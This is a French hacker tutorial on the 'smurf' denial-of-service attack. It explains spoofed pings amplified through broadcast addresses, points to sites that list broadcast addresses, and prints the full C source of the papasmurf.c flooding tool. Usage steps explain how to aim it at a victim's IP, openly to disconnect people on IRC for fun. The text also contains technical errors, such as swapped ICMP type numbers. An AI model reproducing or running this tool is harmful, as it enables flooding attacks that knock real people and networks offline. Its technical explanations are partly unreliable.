_________
_____/ INTRO
\_________________________________________________
Le smurf c'est un programme basé sur une technique qui a fait ses preuves autant sur IRC que sur des serveurs bien qu'il ne soit pas aussi efficace que le SYN flood sur ceux-ci. Il permet de déconnecter très facilement des personnes connectées sur irc une fois que vous avez leurs IP et ceux de façon très efficace que ce soit contre les 56K ou même les câblés et les heureux possesseurs de l'ADSL quoi que ce soit plus dur contre ceux ci. Le smurf est une technique que je trouve très ingénieuse pour ma part car elle se base sur trois processus distincts n'ayant au demeurant pas grand chose à voir ensemble mais qui, une fois assemblés fait prendre conscience des possibilités des réseaux une fois leur spécificités détournés à notre avantage.
Je parlais de trois processus, il sagit de trois techniques que vous devez probablement déjà connaître. La première est le Ping, la deuxième est le broadcasting et le dernière est le spoofing. Comme vous vous en doutez le smurf ne marche que sur *NIX et NT bien que je n'aie jamais entendu parler d'une quelconque version windows de celui ci. Détaillons dès à présents ces trois processus pour ensuite mieux comprendre le principe de fonctionnement du smurf.
_______________________
_____/ DANS LE VIF DU
SUJET: \____________________________________
* le PING:
Un ping c'est un paquet
ICMP ayant comme num de type 0 (ECHO REPLY) et qui une fois qu'il atteint
la cible dont l'IP est contenue dans l'header IP (dest addr) lui ordonne
de renvoyer un paquet ICMP de num de type 8 (REPLY). En gros vous envoyez
un PING et vous recevez un REPLY. Cela sert principalement a l'heure actuelle
pour voir si un hôte est toujours connecté au réseaux.
* le Broadcasting:
Un serveur broadcast
est un serveur qui a pour fonction de renvoyer ce qu'il reçoit a
tous les serveurs de son réseaux. un broadcast a toujours son IP
qui fini par 255. Donc si vous voulez envoyer une info à tous les
serveurs d'un réseau vous devez l'envoyer au broadcast qui lui se
chargera de faire suivre l'info a tous les PC du réseaux. exemple:
vous envoyez un paquet TCP à 195.212.45.255 il fera suivre a tous
les serveurs existants ayant des IP entre 195.212.45.0 et 195.212.45.254
inclut.
On pourrait trouver
surprenant que je ne parle pas de multicasting ici seulement pour le smurf
cela ne sera pas intéressant car le spoofing dont je vais parler
plus loin empêcherait les procédures d'identifications IGMP
nécessaire pour joindre un groupe de serveurs multicast.
En revanche si vous
voulez savoir a quel groupe appartient un serveur broadcast et quels sont
les serveurs ou ordi qui en dépendent vous pouvez utiliser IGMP.
* le Spoofing:
Le spoofing est une
technique qui a pour but de changer son IP pour faire croire que l'on est
quelqu'un d'autre. En fait le spoofing ne fait pas vraiment changer notre
IP mais le fait juste croire mais jamais à l'ensemble des réseaux.
Juste a ceux a qui on veut le faire croire et il ne sera jamais possible
de le faire croire a tout le monde. Le spoofing s'effectuera en changeant
l'adresse source dans les headers IP des paquets que nous allons envoyer
à une cible. Donc nous ferons toujours croire que nous avons une autre
IP a la cible et a personne d'autre. Le problème du spoofing étant
que nous ne recevrons jamais de réponse et donc agirons en aveugle
car la cible ayant une autre IP que notre vraie IP renverras les réponses
a cette fausse IP et donc pas à nous.
Bon avec tout ça comment faire pour déconnecter quelqu'un? Comme je vous l'avais dis ces techniques n'ont rien a voir ensemble. Ici suivez moi bien et vous verrez c'est très simple. Bon on a vu que quand on envoie un PING a un serveur il renvoie un REPLY. Nous avons vu que quoi que nous envoyons a un broadcast il le transmet a tous les serveurs connecté a internet du même groupe que lui et nous avons vu que spoofer c'est changer son ip. Que pensez vous qu'il se passerait, sachant ça, si on envoyait un PING a un serveur broadcast? Bien oui vous recevrez autant de ping qu'il y a de serveurs dans le groupe du serveur broadcast ayant reçu votre ping. Maintenant imaginons que vous envoyez 15 PING et que le groupe du broadcast contienne 154 serveurs, vous recevrez 2310 REPLY. En effet ça fait beaucoup. mais maintenant imaginons que dans les paquets ICMP ECHO REPLY que vous envoyez vous avez changé l'adresse source... En gros que vous l'avez spoofée... Qui va se prendre les 2310 REPLY? Bien l'adresse spoofée. Et imaginons que l'adresse IP que vous ayez mis comme adresse source dans le header IP du paquet ICMP soit celle de votre cible. ET imaginez que vous n'envoyez pas 15 ping mais 50 et que le serveur broadcast n'a pas 154 serveurs dans son groupe mais 5437 et qu'en plus vous ne pingiez pas qu'un serveur Broadcast mais 5 ayant chacun le même nombre de serveur dans son groupe et qu'en plus les PING que vous envoyez ne font pas 150 octets mais 2Ko chacun...
Pour 500Ko envoyés (5 Broadcasts * PING de 2Ko * 50 PING) sous la forme de 250 PING, la cible recevra 2718,5 Mo (5 Broadcasts * 5437 serveurs * 2Ko * 50 PING). De quoi faire une sacrement grosse déconnection. Et c'est la qu'on se dit qu'heureusement un ping n'arrivant pas à destination ne génère pas un autre paquet ICMP sinon imaginez ces paquets revenant à leur point de départ (pas nous heureusement) ;)
Mais bien sûr j'exagère un peu, je vous vois mal trouver des Broadcasts contenant 5437 serveurs dans son groupe ni même trouver 5 Broadcasts avec le même nombre de serveurs dans son groupe. Tient, une question intéressante: Pourquoi ne pas prendre qu'un seul broadcast à qui on enverrait plus de PING? Bien tout simplement parce qu'un broadcast peut vouloir ignorer vos PING s'ils sont trop nombreux. Beaucoup de serveurs ont des démons qui ferment leur port ECHO s'il reçoivent des PING a une fréquence trop élevée pour éviter le SYN flood principalement. De plus il n'y a pas d'intérêt pour nous de surcharger un Broadcast alors qu'il y en a tellement a disposition.
comment trouver un broadcast?
Bien c'est simple, si un serveur est connecté a internet et a une
IP qui finit par 255 c'en est un. Il se peut cependant qu'il n'ait pas de
groupe affecté ou que ce groupe soit vide. Pour le vérifier
envoyez un PING et voyez combien vous en recevez en retour ou alors envoyez
un paquet IGMP (ID de protocole: 2 en IPv4).
_________________
_____/ BROADCAST LIST:
\__________________________________________
Le Smurf ne servirait à rien sans une bonne liste de broadcasts constamment mise à jour car évidemment le smurfing est connu et de plus en plus de broadcasts prennent des précautions pour ne pas être utilisés comme "passerelle" de smurfing. Heureusement des serveurs sont spécialisés dans la recherche de broadcasts et ils ne manquent pas. Voici une petite liste de sites contenant de nombreuses adresses de broadcasts:
- http://netscan.org/lamers-r-us.html
- http://www.powertech.no/smurf
- http://www.pulltheplug.com/broadcasts.html
pour ne citer que ceux
là...
______________
_____/ CODE SOURCE:
\_____________________________________________
Et bien sur le code source...
On sait jamais, des fois que vous n'arriviez pas a le trouver sur le net...
Ce qui me paraîtrait surprenant quand même :) Je ne vais pas
l'analyser parce que sur bien des points il rejoint jolt2 que j'ai détaillé
en détail dans l'article sur "l'IP fragmentation Reassembly".
/* papasmurf.c */
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
#ifdef __USE_BSD
#undef __USE_BSD
#endif
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
struct smurf_t
{
struct
sockaddr_in sin;
int
s;
int
udp, icmp;
int
rnd;
int
psize;
int
num;
int
delay;
u_short
dstport[25+1];
u_short
srcport;
char
*padding;
};
void usage (char *);
u_long resolve (char
*);
void getports (struct
smurf_t *, char *);
void smurficmp (struct
smurf_t *, u_long);
void smurfudp (struct
smurf_t *, u_long, int);
u_short in_chksum (u_short
*, int);
int
main (int argc, char
*argv[])
{
struct
smurf_t sm;
struct
stat st;
u_long
bcast[1024];
char
buf[32];
int
c, fd, n, cycle, num = 0, on = 1;
FILE
*bcastfile;
fprintf(stderr, "\n(papa)smurf.c v5.0 by TFreak\n\n");
if
(argc < 3)
usage(argv[0]);
memset((struct
smurf_t *) &sm, 0, sizeof(sm));
sm.icmp
= 1;
sm.psize
= 64;
sm.num
= 0;
sm.delay
= 10000;
sm.sin.sin_port
= htons(0);
sm.sin.sin_family
= AF_INET;
sm.srcport
= 0;
sm.dstport[0]
= 7;
sm.sin.sin_addr.s_addr = resolve(argv[1]);
if
((bcastfile = fopen(argv[2], "r")) == NULL)
{
perror("Opening broadcast file");
exit(-1);
}
optind
= 3;
while
((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) != -1)
{
switch (c)
{
case 'r':
sm.rnd = 1;
break;
case 'R':
sm.rnd = 1;
sm.srcport = 0;
break;
case 'n':
sm.num = atoi(optarg);
break;
case 'd':
sm.delay = atoi(optarg);
break;
case 'p':
if (strchr(optarg,
','))
getports(&sm, optarg);
else
sm.dstport[0] = (u_short) atoi(optarg);
break;
case 'P':
if (strcmp(optarg,
"icmp") == 0)
{
sm.icmp = 1;
break;
}
if (strcmp(optarg,
"udp") == 0)
{
sm.icmp = 0;
sm.udp = 1;
break;
}
if (strcmp(optarg,
"both") == 0)
{
sm.icmp = 1;
sm.udp = 1;
break;
}
puts("Error: Protocol
must be icmp, udp or both");
exit(-1);
case 's':
sm.srcport =
(u_short) atoi(optarg);
break;
case 'S':
sm.psize = atoi(optarg);
break;
case 'f':
if ((fd = open(optarg,
O_RDONLY)) == -1)
{
perror("Opening packet data file");
exit(-1);
}
if (fstat(fd,
&st) == -1)
{
perror("fstat()");
exit(-1);
}
sm.padding = (char
*) malloc(st.st_size);
if (read(fd,
sm.padding, st.st_size) < st.st_size)
{
perror("read()");
exit(-1);
}
sm.psize = st.st_size;
close(fd);
break;
default:
usage(argv[0]);
}
}
if
(!sm.padding)
{
sm.padding = (char
*) malloc(sm.psize);
memset(sm.padding,
0, sm.psize);
}
if
((sm.s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
{
perror("Creating
raw socket (are you root?)");
exit(-1);
}
if
(setsockopt(sm.s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))
== -1)
{
perror("setsockopt()");
exit(-1);
}
while
(fgets(buf, sizeof buf, bcastfile) != NULL)
{
char *p;
int valid;
if (buf[0] == '#' || buf[0] == '\n') continue;
buf[strlen(buf) - 1] = '\0';
for (p = buf, valid = 1; *p != '\0'; p++)
{
if ( ! isdigit(*p) && *p != '.' )
{
fprintf(stderr, "Skipping invalid ip %s\n", buf);
valid = 0;
break;
}
}
if (valid)
{
bcast[num] = inet_addr(buf);
num++;
if (num == 1024)
break;
}
}
srand(time(NULL) * getpid());
for
(n = 0, cycle = 0; n < sm.num || !sm.num; n++)
{
if (sm.icmp)
smurficmp(&sm, bcast[cycle]);
if (sm.udp)
{
int x;
for (x = 0; sm.dstport[x] != 0; x++)
smurfudp(&sm, bcast[cycle], x);
}
usleep(sm.delay);
if (n % 50 == 0)
{
printf(".");
fflush(stdout);
}
cycle = (cycle
+ 1) % num;
}
exit(0);
}
void
usage (char *s)
{
fprintf(stderr,
"usage: %s <source host> <broadcast file> [options]\n"
"\n"
"Options\n"
"-p: Comma separated list of dest ports (default 7)\n"
"-r: Use random dest ports\n"
"-R: Use random src/dest ports\n"
"-s: Source port (0 for random (default))\n"
"-P: Protocols to use. Either icmp, udp or both\n"
"-S: Packet size in bytes (default 64)\n"
"-f: Filename containg packet data (not needed)\n"
"-n: Num of packets to send (0 is continuous (default))\n"
"-d: Delay inbetween packets (in ms) (default 10000)\n"
"\n", s);
exit(-1);
}
u_long
resolve (char *host)
{
struct
in_addr in;
struct
hostent *he;
if
((in.s_addr = inet_addr(host)) == -1)
{
if ((he = gethostbyname(host))
== NULL)
{
herror("Resolving victim host");
exit(-1);
}
memcpy( (caddr_t)
&in, he->h_addr, he->h_length);
}
return(in.s_addr);
}
void
getports (struct smurf_t
*sm, char *p)
{
char
tmpbuf[16];
int
n, i;
for
(n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++)
{
if (*p == ',')
{
tmpbuf[i] = '\0';
sm->dstport[n] = (u_short) atoi(tmpbuf);
n++; i = -1;
continue;
}
tmpbuf[i] = *p;
}
tmpbuf[i]
= '\0';
sm->dstport[n]
= (u_short) atoi(tmpbuf);
sm->dstport[n
+ 1] = 0;
}
void
smurficmp (struct smurf_t
*sm, u_long dst)
{
struct
iphdr *ip;
struct
icmphdr *icmp;
char
*packet;
int pktsize = sizeof(struct iphdr) + sizeof(struct icmphdr) + sm->psize;
packet
= malloc(pktsize);
ip
= (struct iphdr *) packet;
icmp
= (struct icmphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, pktsize);
ip->version
= 4;
ip->ihl
= 5;
ip->tos
= 0;
ip->tot_len
= htons(pktsize);
ip->id
= htons(getpid());
ip->frag_off
= 0;
ip->ttl
= 255;
ip->protocol
= IPPROTO_ICMP;
ip->check
= 0;
ip->saddr
= sm->sin.sin_addr.s_addr;
ip->daddr
= dst;
icmp->type
= ICMP_ECHO;
icmp->code
= 0;
icmp->checksum
= htons(~(ICMP_ECHO << 8)); /* thx griffin */
if
(sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
sizeof(struct sockaddr)) == -1)
{
perror("sendto()");
exit(-1);
}
free(packet);
/* free willy! */
}
void
smurfudp (struct smurf_t
*sm, u_long dst, int n)
{
struct
iphdr *ip;
struct
udphdr *udp;
char
*packet, *data;
int pktsize = sizeof(struct iphdr) + sizeof(struct udphdr) + sm->psize;
packet
= (char *) malloc(pktsize);
ip
= (struct iphdr *) packet;
udp
= (struct udphdr *) (packet + sizeof(struct iphdr));
data
= (char *) (packet + sizeof(struct iphdr) + sizeof(struct udphdr));
memset(packet,
0, pktsize);
if
(*sm->padding)
memcpy((char *)data, sm->padding, sm->psize);
ip->version
= 4;
ip->ihl
= 5;
ip->tos
= 0;
ip->tot_len
= htons(pktsize);
ip->id
= htons(getpid());
ip->frag_off
= 0;
ip->ttl
= 255;
ip->protocol
= IPPROTO_UDP;
ip->check
= 0;
ip->saddr
= sm->sin.sin_addr.s_addr;
ip->daddr
= dst;
if
(sm->srcport) udp->source = htons(sm->srcport);
else
udp->source = htons(rand());
if
(sm->rnd) udp->dest = htons(rand());
else
udp->dest = htons(sm->dstport[n]);
udp->len
= htons(sizeof(struct udphdr) + sm->psize);
//
udp->check = in_chksum((u_short *)udp, sizeof(udp));
if
(sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
sizeof(struct sockaddr)) == -1)
{
perror("sendto()");
exit(-1);
}
free(packet);
/* free willy! */
}
u_short
in_chksum (u_short *addr,
int len)
{
register
int nleft = len;
register
u_short *w = addr;
register
int sum = 0;
u_short
answer = 0;
while
(nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if
(nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum
= (sum >> 16) + (sum + 0xffff);
sum
+= (sum >> 16);
answer
= ~sum;
return(answer);
}
______________
_____/ UTILISATION:
\_____________________________________________
Bon pour que l'on ait les mêmes références on va dire que ce code source s'appelle papasmurf.c, ce qui est vrai dailleurs, et qu'une fois compilé il s'appelle "smurf" (cc papasmurf.c -o smurf).
En gros si on le lance comme ça: ./smurf, ca donne: ./smurf <source host> <broadcast file> [option] ce qui veut dire en gros que deux champs sont obligatoires, "source host" et "broadcast file".
Dans "source host" vous mettez l'adresse IP de la cible et dans "broadcast file" vous mettez le nom du fichier qui contient toutes les adresses des serveurs broadcast. Vous devez bien sûr créer ce fichier et le remplir par les adresses de broadcasts que vous avez trouvées dans les sites que j'ai cités dans la partie "broadcast list".
Les options sont expliqués
et ne sont pas obligatoires dans l'utilisation basique du programme, je
n'en parlerai donc pas.
_______________
_____/ C'EST PATCHE:
\____________________________________________
Hihihi non c'est pas patché. Mais que pouvez vous faire contre ce genre d'attaque? Bien vous pouvez déjà commencer par prendre une connection cablée ou telle que l'ADSL ou RNIS et oublier votre vieux modem 56K car plus votre connection sera rapide plus elle pourra recevoir des centaines de PING sans broncher. Vous pouvez aussi passer par une wingate ou un proxy qui a une connection plus rapide que la votre, cala vous fera ralentir et lui aussi probablement s'il est smurfé mais cela ne le fera probablement pas deconnecter et vous non plus par la même occasion. Et sinon vous pouvez toujours lancer des programmes de detection de smurf qui s'apparentent pas mal à des sniffers mais des sniffers dédiés comme SmurfLog dont la version 1.0 disponible a l'adresse suivante: http://www.securityfocus.com/data/tools/smurflog-1.0.tgz
_______________
_____/ CONCLUSION:
\____________________________________________
Le smurf est assez peu
utile contre les serveurs sauf si vous avez une bonne connection
et que vous avez une bonne liste de serveurs Broadcasts par contre ça
fait fureur sur IRC... Le tout c'est d'y prendre du plaisir :)
Coding Is Not A Crime